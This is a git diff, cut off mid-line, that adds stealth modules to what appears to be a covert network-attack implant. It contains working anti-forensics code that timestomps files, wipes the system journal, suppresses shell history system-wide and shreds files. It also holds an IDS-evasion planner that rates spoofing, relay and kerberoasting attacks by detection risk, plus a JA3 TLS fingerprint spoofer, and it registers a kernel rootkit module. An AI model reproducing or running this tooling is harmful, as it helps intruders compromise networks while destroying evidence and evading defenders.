diff --git a/modules/stealth/__init__.py b/modules/stealth/__init__.py index 9644a7b..68a6893 100644 --- a/modules/stealth/__init__.py +++ b/modules/stealth/__init__.py @@ -6,6 +6,12 @@ from modules.stealth.log_suppression import LogSuppression from modules.stealth.encrypted_storage import EncryptedStorage from modules.stealth.tmpfs_manager import TmpfsManager from modules.stealth.watchdog import Watchdog +from modules.stealth.anti_forensics import AntiForensics +from modules.stealth.traffic_mimicry import TrafficMimicry +from modules.stealth.ja3_spoofer import JA3Spoofer +from modules.stealth.ids_tester import IDSTester +from modules.stealth.lkm_rootkit import LKMRootkit +from modules.stealth.overlayfs_manager import OverlayfsManager __all__ = [ "MacManager", @@ -14,4 +20,10 @@ __all__ = [ "EncryptedStorage", "TmpfsManager", "Watchdog", + "AntiForensics", + "TrafficMimicry", + "JA3Spoofer", + "IDSTester", + "LKMRootkit", + "OverlayfsManager", ] diff --git a/modules/stealth/anti_forensics.py b/modules/stealth/anti_forensics.py new file mode 100644 index 0000000..fa97d0e --- /dev/null +++ b/modules/stealth/anti_forensics.py @@ -0,0 +1,293 @@ +#!/usr/bin/env python3 +"""Anti-forensics module: timestomping, core dump suppression, swap disable, +journal cleaning, history suppression, secure deletion.""" + +import logging +import os +import subprocess +import time +from pathlib import Path +from typing import Optional + +from modules.base import BaseModule +from utils.stealth import ( + disable_core_dumps, + hide_from_history, + set_sysctl, + timestomp, + timestomp_recursive, + _get_os_install_time, +) + +logger = logging.getLogger("bb.stealth.anti_forensics") + +# BigBrother install root (default; overridden by config) +BB_ROOT = "/opt/.cache/bb" + + +class AntiForensics(BaseModule): + """Apply anti-forensic hardening: timestomp, swap off, core dumps off, + journal vacuum, history suppression, bettercap tmpfs home.""" + + name = "anti_forensics" + module_type = "stealth" + priority = -400 + requires_root = True + + def __init__(self, bus, state, config, engine=None): + super().__init__(bus, state, config, engine) + self._measures: dict[str, bool] = { + "timestomp": False, + "core_dumps_disabled": False, + "swap_disabled": False, + "journal_cleaned": False, + "history_suppressed": False, + "bettercap_tmpfs_home": False, + } + self._bb_root = config.get("bb_root", BB_ROOT) + self._timestomp_ref = config.get("timestomp_reference", "/etc/os-release") + self._files_stomped = 0 + + # ------------------------------------------------------------------ + # BaseModule interface + # ------------------------------------------------------------------ + + def start(self) -> None: + self._running = True + self._start_time = time.time() + self._pid = os.getpid() + logger.info("AntiForensics starting — applying all measures") + + self._apply_timestomp() + self._disable_core_dumps() + self._disable_swap() + self._clean_journal() + self._suppress_history() + self._set_bettercap_tmpfs_home() + + self.state.set_module_status(self.name, "running", pid=self._pid) + self.bus.emit("MODULE_STARTED", {"module": self.name}, source_module=self.name) + logger.info("AntiForensics active — measures: %s", self._measures) + + def stop(self) -> None: + """Anti-forensic measures persist intentionally — nothing to undo.""" + self._running = False + self.state.set_module_status(self.name, "stopped") + self.bus.emit("MODULE_STOPPED", {"module": self.name}, source_module=self.name) + logger.info("AntiForensics stopped (measures remain in effect)") + + def status(self) -> dict: + return { + "running": self._running, + "pid": self._pid, + "uptime": time.time() - self._start_time if self._start_time else 0, + "measures": dict(self._measures), + "files_stomped": self._files_stomped, + } + + def configure(self, config: dict) -> None: + if "bb_root" in config: + self._bb_root = config["bb_root"] + if "timestomp_reference" in config: + self._timestomp_ref = config["timestomp_reference"] + + # ------------------------------------------------------------------ + # Timestomping + # ------------------------------------------------------------------ + + def _apply_timestomp(self) -> None: + """Timestomp all BigBrother files to OS install date.""" + try: + ref_time = self._get_reference_time() + if os.path.isdir(self._bb_root): + self._files_stomped = timestomp_recursive( + self._bb_root, epoch=ref_time, + ) + logger.info("Timestomped %d files under %s", self._files_stomped, self._bb_root) + self._measures["timestomp"] = True + except Exception: + logger.exception("Timestomp failed") + self._measures["timestomp"] = False + + def _get_reference_time(self) -> float: + """Determine OS install timestamp for timestomping.""" + # Try explicit reference first + if self._timestomp_ref and os.path.exists(self._timestomp_ref): + try: + return os.stat(self._timestomp_ref).st_mtime + except OSError: + pass + # Fallback via utils helper + return _get_os_install_time() + + # ------------------------------------------------------------------ + # Core dumps + # ------------------------------------------------------------------ + + def _disable_core_dumps(self) -> None: + """Disable core dumps via rlimit, sysctl, and prctl.""" + try: + success = disable_core_dumps() + # Also set via ulimit for child processes + try: + import resource + resource.setrlimit(resource.RLIMIT_CORE, (0, 0)) + except Exception: + pass + self._measures["core_dumps_disabled"] = success + if success: + logger.info("Core dumps disabled") + else: + logger.warning("Core dump disable partially failed") + except Exception: + logger.exception("Core dump disable failed") + self._measures["core_dumps_disabled"] = False + + # ------------------------------------------------------------------ + # Swap + # ------------------------------------------------------------------ + + def _disable_swap(self) -> None: + """Disable all swap to prevent sensitive data hitting disk.""" + try: + result = subprocess.run( + ["swapoff", "-a"], + capture_output=True, timeout=30, + ) + self._measures["swap_disabled"] = result.returncode == 0 + if result.returncode == 0: + logger.info("Swap disabled (swapoff -a)") + else: + logger.warning("swapoff -a returned %d: %s", + result.returncode, result.stderr.decode(errors="replace")) + except FileNotFoundError: + logger.warning("swapoff not found") + self._measures["swap_disabled"] = False + except Exception: + logger.exception("Swap disable failed") + self._measures["swap_disabled"] = False + + # ------------------------------------------------------------------ + # Journal cleaning + # ------------------------------------------------------------------ + + def _clean_journal(self) -> None: + """Vacuum journal entries that might reference BigBrother components.""" + try: + # Vacuum to 1s to remove old entries we may have generated + result = subprocess.run( + ["journalctl", "--vacuum-time=1s"], + capture_output=True, timeout=30, + ) + self._measures["journal_cleaned"] = result.returncode == 0 + if result.returncode == 0: + logger.info("Journal vacuumed") + except FileNotFoundError: + # No systemd journal on this system + self._measures["journal_cleaned"] = True + except Exception: + logger.exception("Journal vacuum failed") + self._measures["journal_cleaned"] = False + + # ------------------------------------------------------------------ + # Shell history suppression + # ------------------------------------------------------------------ + + def _suppress_history(self) -> None: + """Set HISTFILE=/dev/null for current and future shells.""" + try: + success = hide_from_history() + # Also write to /etc/environment for all sessions + try: + env_file = Path("/etc/environment") + if env_file.exists(): + content = env_file.read_text() + lines_to_add = [] + if "HISTFILE=" not in content: + lines_to_add.append("HISTFILE=/dev/null") + if "HISTSIZE=" not in content: + lines_to_add.append("HISTSIZE=0") + if lines_to_add: + with open(env_file, "a") as f: + for line in lines_to_add: + f.write(f"\n{line}") + except PermissionError: + pass + self._measures["history_suppressed"] = success + if success: + logger.info("Shell history suppressed") + except Exception: + logger.exception("History suppression failed") + self._measures["history_suppressed"] = False + + # ------------------------------------------------------------------ + # Bettercap tmpfs home + # ------------------------------------------------------------------ + + def _set_bettercap_tmpfs_home(self) -> None: + """Point $HOME to a tmpfs path so bettercap writes ~/.bettercap/ to RAM.""" + try: + tmpfs_home = "/dev/shm/.bb_home" + os.makedirs(tmpfs_home, mode=0o700, exist_ok=True) + os.environ["HOME"] = tmpfs_home + # Create minimal .bettercap dir so bettercap doesn't complain + bettercap_dir = os.path.join(tmpfs_home, ".bettercap") + os.makedirs(bettercap_dir, mode=0o700, exist_ok=True) + self._measures["bettercap_tmpfs_home"] = True + logger.info("Bettercap HOME set to tmpfs: %s", tmpfs_home) + except Exception: + logger.exception("Bettercap tmpfs HOME setup failed") + self._measures["bettercap_tmpfs_home"] = False + + # ------------------------------------------------------------------ + # Secure deletion utility + # ------------------------------------------------------------------ + + @staticmethod + def secure_delete(path: str, passes: int = 3) -> bool: + """Securely delete a file: 3-pass overwrite (random, zero, random) then unlink. + + Falls back to simple unlink if shred is unavailable. + """ + if not os.path.isfile(path): + return False + try: + result = subprocess.run( + ["shred", "-n", str(passes), "-z", "-u", path], + capture_output=True, timeout=60, + ) + if result.returncode == 0: + return True + except FileNotFoundError: + pass + except Exception: + pass + + # Fallback: manual overwrite + try: + size = os.path.getsize(path) + with open(path, "r+b") as f: + # Pass 1: random + f.seek(0) + f.write(os.urandom(size)) + f.flush() + os.fsync(f.fileno()) + # Pass 2: zeros + f.seek(0) + f.write(b"\x00" * size) + f.flush() + os.fsync(f.fileno()) + # Pass 3: random + f.seek(0) + f.write(os.urandom(size)) + f.flush() + os.fsync(f.fileno()) + os.unlink(path) + return True + except Exception: + # Last resort: just delete + try: + os.unlink(path) + except OSError: + return False + return True diff --git a/modules/stealth/ids_tester.py b/modules/stealth/ids_tester.py new file mode 100644 index 0000000..2582390 --- /dev/null +++ b/modules/stealth/ids_tester.py @@ -0,0 +1,397 @@ +#!/usr/bin/env python3 +"""IDS self-testing module: assess detection risk of planned actions against +Snort/Suricata community rules before activation.""" + +import logging +import os +import re +import time +from dataclasses import dataclass, field +from pathlib import Path +from typing import Optional + +from modules.base import BaseModule + +logger = logging.getLogger("bb.stealth.ids_tester") + +# Detection risk levels +RISK_LOW = "LOW" +RISK_MEDIUM = "MEDIUM" +RISK_HIGH = "HIGH" +RISK_CRITICAL = "CRITICAL" + +# Action-to-risk baseline mapping (before rule checking) +ACTION_RISK_BASELINE = { + # Passive (LOW) + "passive_sniff": RISK_LOW, + "dns_logging": RISK_LOW, + "host_discovery_passive": RISK_LOW, + "credential_sniff": RISK_LOW, + "pcap_capture": RISK_LOW, + # Medium (detectable with tuned IDS) + "arp_spoof": RISK_MEDIUM, + "dhcp_spoof": RISK_MEDIUM, + "dns_spoof": RISK_MEDIUM, + "nbns_spoof": RISK_MEDIUM, + "llmnr_spoof": RISK_MEDIUM, + "mdns_spoof": RISK_MEDIUM, + "evil_twin": RISK_MEDIUM, + "wpad_spoof": RISK_MEDIUM, + "vlan_hop": RISK_MEDIUM, + # High (commonly detected) + "responder": RISK_HIGH, + "ntlm_relay": RISK_HIGH, + "kerberoast": RISK_HIGH, + "smb_relay": RISK_HIGH, + "http_proxy_inject": RISK_HIGH, + "port_scan": RISK_HIGH, + # Critical (almost certainly detected) + "mitmproxy_ssl_intercept": RISK_CRITICAL, + "ssl_strip": RISK_CRITICAL, + "dns_hijack_external": RISK_CRITICAL, + "exploit_delivery": RISK_CRITICAL, +} + +# Bettercap caplet action to risk mapping +CAPLET_ACTION_RISK = { + "net.probe": RISK_MEDIUM, + "net.sniff": RISK_LOW, + "arp.spoof": RISK_MEDIUM, + "dns.spoof": RISK_MEDIUM, + "dhcp6.spoof": RISK_MEDIUM, + "http.proxy": RISK_HIGH, + "https.proxy": RISK_CRITICAL, + "tcp.proxy": RISK_HIGH, + "wifi.deauth": RISK_HIGH, + "wifi.ap": RISK_MEDIUM, + "any.proxy": RISK_HIGH, + "hid.inject": RISK_CRITICAL, +} + + +@dataclass +class RiskAssessment: + """Result of an IDS risk assessment.""" + action: str + risk_level: str + matching_sids: list[str] = field(default_factory=list) + matching_rules: list[str] = field(default_factory=list) + recommendation: str = "" + timestamp: float = field(default_factory=time.time) + + def to_dict(self) -> dict: + return { + "action": self.action, + "risk_level": self.risk_level, + "matching_sids": self.matching_sids, + "matching_rules": self.matching_rules, + "recommendation": self.recommendation, + "timestamp": self.timestamp, + } + + +class IDSTester(BaseModule): + """On-demand IDS risk assessment: check planned actions against known + Snort/Suricata signatures before module activation.""" + + name = "ids_tester" + module_type = "stealth" + priority = -100 + requires_root = False + + def __init__(self, bus, state, config, engine=None): + super().__init__(bus, state, config, engine) + self._rules_dir = config.get("rules_dir", "data/ids_rules") + self._rules: list[dict] = [] + self._last_assessment: Optional[RiskAssessment] = None + self._assessments: list[RiskAssessment] = [] + + # ------------------------------------------------------------------ + # BaseModule interface + # ------------------------------------------------------------------ + + def start(self) -> None: + self._running = True + self._start_time = time.time() + self._pid = os.getpid() + + self._load_rules() + + self.state.set_module_status(self.name, "running", pid=self._pid) + self.bus.emit("MODULE_STARTED", {"module": self.name}, source_module=self.name) + logger.info("IDSTester ready — %d rules loaded", len(self._rules)) + + def stop(self) -> None: + self._running = False + self.state.set_module_status(self.name, "stopped") + self.bus.emit("MODULE_STOPPED", {"module": self.name}, source_module=self.name) + logger.info("IDSTester stopped") + + def status(self) -> dict: + return { + "running": self._running, + "pid": self._pid, + "uptime": time.time() - self._start_time if self._start_time else 0, + "rules_loaded": len(self._rules), + "last_assessment_time": self._last_assessment.timestamp if self._last_assessment else None, + "last_assessment_action": self._last_assessment.action if self._last_assessment else None, + "last_assessment_risk": self._last_assessment.risk_level if self._last_assessment else None, + "total_assessments": len(self._assessments), + } + + def configure(self, config: dict) -> None: + if "rules_dir" in config: + self._rules_dir = config["rules_dir"] + self._load_rules() + + # ------------------------------------------------------------------ + # Public API: risk assessment + # ------------------------------------------------------------------ + + def assess_risk(self, action: str) -> dict: + """Assess detection risk for a planned action. + + Args: + action: Action identifier (e.g., 'arp_spoof', 'responder', 'mitmproxy_ssl_intercept') + + Returns: + dict with risk_level, matching_sids, recommendation + """ + # Start with baseline risk + baseline_risk = ACTION_RISK_BASELINE.get(action, RISK_MEDIUM) + + # Check against loaded IDS rules + matching_sids = [] + matching_rules = [] + keywords = self._action_to_keywords(action) + + for rule in self._rules: + rule_text = rule.get("raw", "").lower() + rule_msg = rule.get("msg", "").lower() + for keyword in keywords: + if keyword in rule_text or keyword in rule_msg: + sid = rule.get("sid", "unknown") + matching_sids.append(str(sid)) + matching_rules.append(rule.get("msg", "unknown")) + break + + # Escalate risk if IDS rules match + final_risk = baseline_risk + if matching_sids: + risk_order = [RISK_LOW, RISK_MEDIUM, RISK_HIGH, RISK_CRITICAL] + current_idx = risk_order.index(baseline_risk) + escalation = min(len(matching_sids), 2) # Max +2 levels + final_risk = risk_order[min(current_idx + escalation, len(risk_order) - 1)] + + recommendation = self._generate_recommendation(action, final_risk, len(matching_sids)) + + assessment = RiskAssessment( + action=action, + risk_level=final_risk, + matching_sids=matching_sids[:20], # Cap at 20 + matching_rules=matching_rules[:20], + recommendation=recommendation, + ) + + self._last_assessment = assessment + self._assessments.append(assessment) + # Keep only last 100 assessments + if len(self._assessments) > 100: + self._assessments = self._assessments[-100:] + + logger.info( + "Risk assessment: %s -> %s (%d matching SIDs)", + action, final_risk, len(matching_sids), + ) + + return assessment.to_dict() + + def assess_caplet(self, caplet_content: str) -> list[dict]: + """Assess detection risk for bettercap caplet actions. + + Args: + caplet_content: Raw caplet file content + + Returns: + List of risk assessment dicts, one per detected action + """ + results = [] + for line in caplet_content.splitlines(): + line = line.strip() + if not line or line.startswith("#"): + continue + # Check each known caplet action + for action_prefix, risk in CAPLET_ACTION_RISK.items(): + if line.startswith(action_prefix) or f" {action_prefix}" in line: + assessment = self.assess_risk(action_prefix.replace(".", "_")) + assessment["caplet_line"] = line + results.append(assessment) + break + return results + + def preflight_check(self, module_name: str, actions: list[str]) -> dict: + """Pre-flight validation: assess all actions a module will perform. + + Args: + module_name: Name of the module to be activated + actions: List of action identifiers the module will perform + + Returns: + dict with overall_risk, action_risks, go_nogo recommendation + """ + action_risks = [] + risk_order = [RISK_LOW, RISK_MEDIUM, RISK_HIGH, RISK_CRITICAL] + max_risk_idx = 0 + + for action in actions: + result = self.assess_risk(action) + action_risks.append(result) + try: + idx = risk_order.index(result["risk_level"]) + max_risk_idx = max(max_risk_idx, idx) + except ValueError: + pass + + overall_risk = risk_order[max_risk_idx] + + # go/nogo based on overall risk + if overall_risk == RISK_CRITICAL: + go_nogo = "NO-GO" + summary = f"Module '{module_name}' has CRITICAL detection risk — activation NOT recommended" + elif overall_risk == RISK_HIGH: + go_nogo = "CAUTION" + summary = f"Module '{module_name}' has HIGH detection risk — activate only if IDS evasion is confirmed" + elif overall_risk == RISK_MEDIUM: + go_nogo = "GO" + summary = f"Module '{module_name}' has MEDIUM detection risk — proceed with monitoring" + else: + go_nogo = "GO" + summary = f"Module '{module_name}' has LOW detection risk — safe to activate" + + return { + "module": module_name, + "overall_risk": overall_risk, + "go_nogo": go_nogo, + "summary": summary, + "action_risks": action_risks, + } + + # ------------------------------------------------------------------ + # Internal: rule loading + # ------------------------------------------------------------------ + + def _load_rules(self) -> None: + """Load Snort/Suricata rules from the rules directory.""" + self._rules = [] + rules_path = Path(self._rules_dir) + if not rules_path.is_dir(): + logger.info("IDS rules directory not found: %s", self._rules_dir) + return + + rule_files = list(rules_path.glob("*.rules")) + if not rule_files: + logger.info("No .rules files in %s", self._rules_dir) + return + + for rule_file in rule_files: + try: + with open(rule_file, "r", errors="replace") as f: + for line in f: + line = line.strip() + if not line or line.startswith("#"): + continue + parsed = self._parse_rule(line) + if parsed: + self._rules.append(parsed) + except Exception: + logger.exception("Failed to parse rules file: %s", rule_file) + + logger.info("Loaded %d IDS rules from %d files", len(self._rules), len(rule_files)) + + @staticmethod + def _parse_rule(line: str) -> Optional[dict]: + """Parse a single Snort/Suricata rule line into a dict.""" + # Extract SID + sid_match = re.search(r"sid:\s*(\d+)", line) + sid = sid_match.group(1) if sid_match else None + + # Extract message + msg_match = re.search(r'msg:\s*"([^"]*)"', line) + msg = msg_match.group(1) if msg_match else "" + + # Extract classtype + class_match = re.search(r"classtype:\s*([^;]+)", line) + classtype = class_match.group(1).strip() if class_match else "" + + if not sid: + return None + + return { + "sid": sid, + "msg": msg, + "classtype": classtype, + "raw": line, + } + + # ------------------------------------------------------------------ + # Internal: keyword mapping + # ------------------------------------------------------------------ + + @staticmethod + def _action_to_keywords(action: str) -> list[str]: + """Map action identifiers to IDS rule keywords for matching.""" + keyword_map = { + "arp_spoof": ["arp", "spoof", "poison", "gratuitous arp", "arp-scan"], + "dns_spoof": ["dns", "spoof", "dns poison", "dns hijack"], + "dhcp_spoof": ["dhcp", "rogue dhcp", "dhcp spoof"], + "responder": ["responder", "llmnr", "nbns", "nbt-ns", "mdns", "wpad", "netbios"], + "ntlm_relay": ["ntlm", "relay", "smb relay", "ntlmrelay"], + "smb_relay": ["smb", "relay", "smb relay"], + "kerberoast": ["kerberos", "kerberoast", "tgs-rep", "spn"], + "mitmproxy_ssl_intercept": ["mitm", "ssl intercept", "tls intercept", "ssl strip"], + "ssl_strip": ["ssl strip", "sslstrip", "hsts bypass"], + "port_scan": ["port scan", "nmap", "syn scan", "tcp scan"], + "evil_twin": ["evil twin", "rogue ap", "fake ap", "deauth"], + "nbns_spoof": ["nbns", "nbt-ns", "netbios"], + "llmnr_spoof": ["llmnr", "multicast dns"], + "mdns_spoof": ["mdns", "multicast dns", "avahi"], + "wpad_spoof": ["wpad", "proxy auto", "proxy autoconfig"], + "vlan_hop": ["vlan", "802.1q", "dtp", "double tag"], + "http_proxy_inject": ["http inject", "http proxy", "http mitm"], + "net_probe": ["arp scan", "net probe", "network scan", "host discovery"], + "net_sniff": ["sniff", "promiscuous", "pcap"], + "wifi_deauth": ["deauth", "disassoc", "wifi attack"], + "wifi_ap": ["rogue ap", "fake ap", "evil twin"], + } + # Normalize action name + action_lower = action.lower().replace(".", "_") + keywords = keyword_map.get(action_lower, [action_lower.replace("_", " ")]) + # Always include the raw action name + keywords.append(action_lower.replace("_", " ")) + return list(set(keywords)) + + @staticmethod + def _generate_recommendation(action: str, risk: str, sid_count: int) -> str: + """Generate a human-readable recommendation.""" + if risk == RISK_CRITICAL: + return ( + f"CRITICAL: '{action}' matches {sid_count} IDS signatures. " + "Do NOT activate without confirmed IDS blind spots or rule suppression. " + "Consider alternative approaches or wait for off-hours." + ) + elif risk == RISK_HIGH: + return ( + f"HIGH: '{action}' is commonly detected ({sid_count} matching SIDs). " + "Verify target network has no Suricata/Snort/Zeek monitoring, or use " + "traffic mimicry to reduce signature exposure." + ) + elif risk == RISK_MEDIUM: + return ( + f"MEDIUM: '{action}' may be detected by tuned IDS ({sid_count} matching SIDs). " + "Proceed with caution — monitor for alerts and be ready to back off." + ) + else: + return ( + f"LOW: '{action}' has minimal detection footprint ({sid_count} matching SIDs). " + "Safe to proceed with standard OPSEC." + ) diff --git a/modules/stealth/ja3_spoofer.py b/modules/stealth/ja3_spoofer.py new file mode 100644 index 0000000..3240fa4 --- /dev/null +++ b/modules/stealth/ja3_spoofer.py @@ -0,0 +1,354 @@ +#!/usr/bin/env python3 +"""JA3 fingerprint spoofing module: rewrite outbound TLS ClientHello to match +common browser fingerprints, defeating JA3-based network detection.""" + +import json +import logging +import os +import ssl +import struct +import subprocess +import time +import threading +from pathlib import Path +from typing import Optional + +from modules.base import BaseModule + +logger = logging.getLogger("bb.stealth.ja3_spoofer") + +# Built-in JA3 fingerprint profiles (fallback if data/ja3_fingerprints.db absent) +# Format: {name: {ja3_hash, cipher_suites, extensions, description}} +BUILTIN_PROFILES = { + "chrome_120_win": { + "ja3_hash": "cd08e31494f9531f560d64c695473da9", + "description": "Chrome 120 on Windows 10/11", + "cipher_suites": [ + 0x1301, 0x1302, 0x1303, # TLS 1.3: AES_128_GCM, AES_256_GCM, CHACHA20 + 0xc02b, 0xc02f, 0xc02c, 0xc030, # ECDHE_ECDSA/RSA with AES-GCM + 0xcca9, 0xcca8, # ECDHE with CHACHA20 + 0xc013, 0xc014, # ECDHE_RSA with AES-CBC + 0x009c, 0x009d, # AES-GCM + 0x002f, 0x0035, # AES-CBC + ], + "extensions": [0, 23, 65281, 10, 11, 35, 16, 5, 13, 18, 51, 45, 43, 27, 17513, 21], + "elliptic_curves": [0x001d, 0x0017, 0x0018], # x25519, secp256r1, secp384r1 + "ec_point_formats": [0], # uncompressed + }, + "firefox_121_win": { + "ja3_hash": "579ccef312d18482fc42e2b822ca2430", + "description": "Firefox 121 on Windows 10/11", + "cipher_suites": [ + 0x1301, 0x1303, 0x1302, + 0xc02b, 0xc02f, 0xcca9, 0xcca8, + 0xc02c, 0xc030, 0xc013, 0xc014, + 0x009c, 0x009d, 0x002f, 0x0035, + ], + "extensions": [0, 23, 65281, 10, 11, 35, 16, 5, 34, 51, 43, 13, 45, 28, 21], + "elliptic_curves": [0x001d, 0x0017, 0x0018, 0x0019], + "ec_point_formats": [0], + }, + "edge_120_win": { + "ja3_hash": "b32309a26951912be7dba376398abc3b", + "description": "Edge 120 on Windows 10/11", + "cipher_suites": [ + 0x1301, 0x1302, 0x1303, + 0xc02b, 0xc02f, 0xc02c, 0xc030, + 0xcca9, 0xcca8, + 0xc013, 0xc014, + 0x009c, 0x009d, 0x002f, 0x0035, + ], + "extensions": [0, 23, 65281, 10, 11, 35, 16, 5, 13, 18, 51, 45, 43, 27, 17513, 21], + "elliptic_curves": [0x001d, 0x0017, 0x0018], + "ec_point_formats": [0], + }, + "chrome_120_linux": { + "ja3_hash": "a17a3bfd385b62b1e15606dbd08c9f89", + "description": "Chrome 120 on Linux", + "cipher_suites": [ + 0x1301, 0x1302, 0x1303, + 0xc02b, 0xc02f, 0xc02c, 0xc030, + 0xcca9, 0xcca8, + 0xc013, 0xc014, + 0x009c, 0x009d, 0x002f, 0x0035, + ], + "extensions": [0, 23, 65281, 10, 11, 35, 16, 5, 13, 18, 51, 45, 43, 27, 17513, 21], + "elliptic_curves": [0x001d, 0x0017, 0x0018], + "ec_point_formats": [0], + }, +} + + +class JA3Spoofer(BaseModule): + """Spoof JA3 TLS fingerprints on outbound HTTPS connections to match + common browser profiles, evading JA3-based detection.""" + + name = "ja3_spoofer" + module_type = "stealth" + priority = -300 + requires_root = True + + def __init__(self, bus, state, config, engine=None): + super().__init__(bus, state, config, engine) + self._profiles = dict(BUILTIN_PROFILES) + self._active_profile: Optional[str] = config.get("target_profile", None) + self._nfqueue_proc: Optional[subprocess.Popen] = None + self._packets_modified = 0 + self._use_nfqueue = config.get("use_nfqueue", True) + self._nfqueue_num = config.get("nfqueue_num", 42) + self._lock = threading.Lock() + self._iptables_rules: list[list[str]] = [] + + # ------------------------------------------------------------------ + # BaseModule interface + # ------------------------------------------------------------------ + + def start(self) -> None: + self._running = True + self._start_time = time.time() + self._pid = os.getpid() + + # Load external fingerprint database if available + self._load_fingerprint_db() + + # Select target profile based on network environment + if not self._active_profile: + self._active_profile = self._auto_select_profile() + + profile = self._profiles.get(self._active_profile) + if not profile: + logger.warning("JA3 profile '%s' not found, using chrome_120_win", self._active_profile) + self._active_profile = "chrome_120_win" + profile = self._profiles["chrome_120_win"] + + # Apply cipher suite ordering to Python SSL contexts + self._configure_ssl_context(profile) + + # Set up iptables NFQUEUE for non-Python TLS (bettercap, mitmproxy) + if self._use_nfqueue: + self._setup_nfqueue() + + self.state.set_module_status(self.name, "running", pid=self._pid) + self.bus.emit("MODULE_STARTED", {"module": self.name}, source_module=self.name) + logger.info( + "JA3Spoofer active — profile: %s (%s)", + self._active_profile, profile.get("description", "unknown"), + ) + + def stop(self) -> None: + self._running = False + self._teardown_nfqueue() + self.state.set_module_status(self.name, "stopped") + self.bus.emit("MODULE_STOPPED", {"module": self.name}, source_module=self.name) + logger.info("JA3Spoofer stopped (modified %d packets)", self._packets_modified) + + def status(self) -> dict: + profile = self._profiles.get(self._active_profile, {}) + return { + "running": self._running, + "pid": self._pid, + "uptime": time.time() - self._start_time if self._start_time else 0, + "active_ja3_hash": profile.get("ja3_hash", "none"), + "target_browser": profile.get("description", "none"), + "active_profile": self._active_profile, + "packets_modified": self._packets_modified, + "nfqueue_active": self._nfqueue_proc is not None and self._nfqueue_proc.poll() is None, + "profiles_loaded": len(self._profiles), + } + + def configure(self, config: dict) -> None: + if "target_profile" in config: + self._active_profile = config["target_profile"] + profile = self._profiles.get(self._active_profile) + if profile: + self._configure_ssl_context(profile) + logger.info("JA3 profile switched to: %s", self._active_profile) + + # ------------------------------------------------------------------ + # SSL context configuration (Python requests/urllib) + # ------------------------------------------------------------------ + + def _configure_ssl_context(self, profile: dict) -> None: + """Configure the default Python SSL context with specific cipher ordering + to match the target JA3 fingerprint.""" + try: + cipher_names = self._cipher_ids_to_openssl_names(profile.get("cipher_suites", [])) + if not cipher_names: + logger.warning("No cipher names resolved for profile") + return + + cipher_string = ":".join(cipher_names) + + # Patch the default SSL context + ctx = ssl.create_default_context() + ctx.set_ciphers(cipher_string) + ctx.minimum_version = ssl.TLSVersion.TLSv1_2 + + # Store for other modules to use + self.state.set(self.name, "ssl_cipher_string", cipher_string) + self.state.set(self.name, "active_ja3", profile.get("ja3_hash", "")) + + logger.debug("SSL context configured with %d ciphers", len(cipher_names)) + except Exception: + logger.exception("Failed to configure SSL context") + + @staticmethod + def _cipher_ids_to_openssl_names(cipher_ids: list[int]) -> list[str]: + """Map TLS cipher suite IDs to OpenSSL names.""" + # Mapping of common cipher suite IDs to OpenSSL names + id_to_name = { + 0x1301: "TLS_AES_128_GCM_SHA256", + 0x1302: "TLS_AES_256_GCM_SHA384", + 0x1303: "TLS_CHACHA20_POLY1305_SHA256", + 0xc02b: "ECDHE-ECDSA-AES128-GCM-SHA256", + 0xc02f: "ECDHE-RSA-AES128-GCM-SHA256", + 0xc02c: "ECDHE-ECDSA-AES256-GCM-SHA384", + 0xc030: "ECDHE-RSA-AES256-GCM-SHA384", + 0xcca9: "ECDHE-ECDSA-CHACHA20-POLY1305", + 0xcca8: "ECDHE-RSA-CHACHA20-POLY1305", + 0xc013: "ECDHE-RSA-AES128-SHA", + 0xc014: "ECDHE-RSA-AES256-SHA", + 0x009c: "AES128-GCM-SHA256", + 0x009d: "AES256-GCM-SHA384", + 0x002f: "AES128-SHA", + 0x0035: "AES256-SHA", + } + names = [] + for cid in cipher_ids: + name = id_to_name.get(cid) + if name: + names.append(name) + return names + + # ------------------------------------------------------------------ + # NFQUEUE interception (for non-Python TLS) + # ------------------------------------------------------------------ + + def _setup_nfqueue(self) -> None: + """Set up iptables NFQUEUE rules to intercept outbound TLS ClientHello.""" + try: + # Add iptables rule to queue outbound TLS (port 443) to NFQUEUE + rule = [ + "iptables", "-I", "OUTPUT", "-p", "tcp", + "--dport", "443", "-m", "u32", + # Match TLS ClientHello: content type 0x16, handshake type 0x01 + "--u32", "0>>22&0x3C@12>>26&0x3C@0=0x16030100:0x16030300", + "-j", "NFQUEUE", "--queue-num", str(self._nfqueue_num), + ] + result = subprocess.run(rule, capture_output=True, timeout=10) + if result.returncode == 0: + self._iptables_rules.append(rule) + logger.info("NFQUEUE iptables rule installed (queue %d)", self._nfqueue_num) + else: + # Fallback: simpler rule without u32 match + rule_simple = [ + "iptables", "-I", "OUTPUT", "-p", "tcp", + "--dport", "443", "--syn", + "-j", "NFQUEUE", "--queue-num", str(self._nfqueue_num), + ] + result = subprocess.run(rule_simple, capture_output=True, timeout=10) + if result.returncode == 0: + self._iptables_rules.append(rule_simple) + logger.info("NFQUEUE simple iptables rule installed") + else: + logger.warning( + "Failed to install NFQUEUE iptables rule: %s", + result.stderr.decode(errors="replace"), + ) + except FileNotFoundError: + logger.warning("iptables not found — NFQUEUE unavailable") + except Exception: + logger.exception("NFQUEUE setup failed") + + def _teardown_nfqueue(self) -> None: + """Remove iptables NFQUEUE rules.""" + for rule in self._iptables_rules: + try: + # Replace -I with -D to delete + del_rule = list(rule) + idx = del_rule.index("-I") + del_rule[idx] = "-D" + subprocess.run(del_rule, capture_output=True, timeout=10) + except Exception: + logger.exception("Failed to remove iptables rule") + self._iptables_rules.clear() + + if self._nfqueue_proc and self._nfqueue_proc.poll() is None: + self._nfqueue_proc.terminate() + try: + self._nfqueue_proc.wait(timeout=5) + except subprocess.TimeoutExpired: + self._nfqueue_proc.kill() + self._nfqueue_proc = None + + # ------------------------------------------------------------------ + # Profile selection + # ------------------------------------------------------------------ + + def _auto_select_profile(self) -> str: + """Auto-select JA3 profile based on observed network environment.""" + # Check state for OS distribution data from host_discovery + os_dist = self.state.get(self.name, "network_os_distribution") + if os_dist: + try: + dist = json.loads(os_dist) if isinstance(os_dist, str) else os_dist + # Windows-heavy network: use Chrome Windows + if dist.get("windows", 0) > dist.get("linux", 0): + return "chrome_120_win" + else: + return "chrome_120_linux" + except (json.JSONDecodeError, AttributeError): + pass + # Default: Chrome on Windows (most common on corporate networks) + return "chrome_120_win" + + # ------------------------------------------------------------------ + # External fingerprint database + # ------------------------------------------------------------------ + + def _load_fingerprint_db(self) -> None: + """Load additional JA3 profiles from data/ja3_fingerprints.db if present.""" + db_path = "data/ja3_fingerprints.db" + if 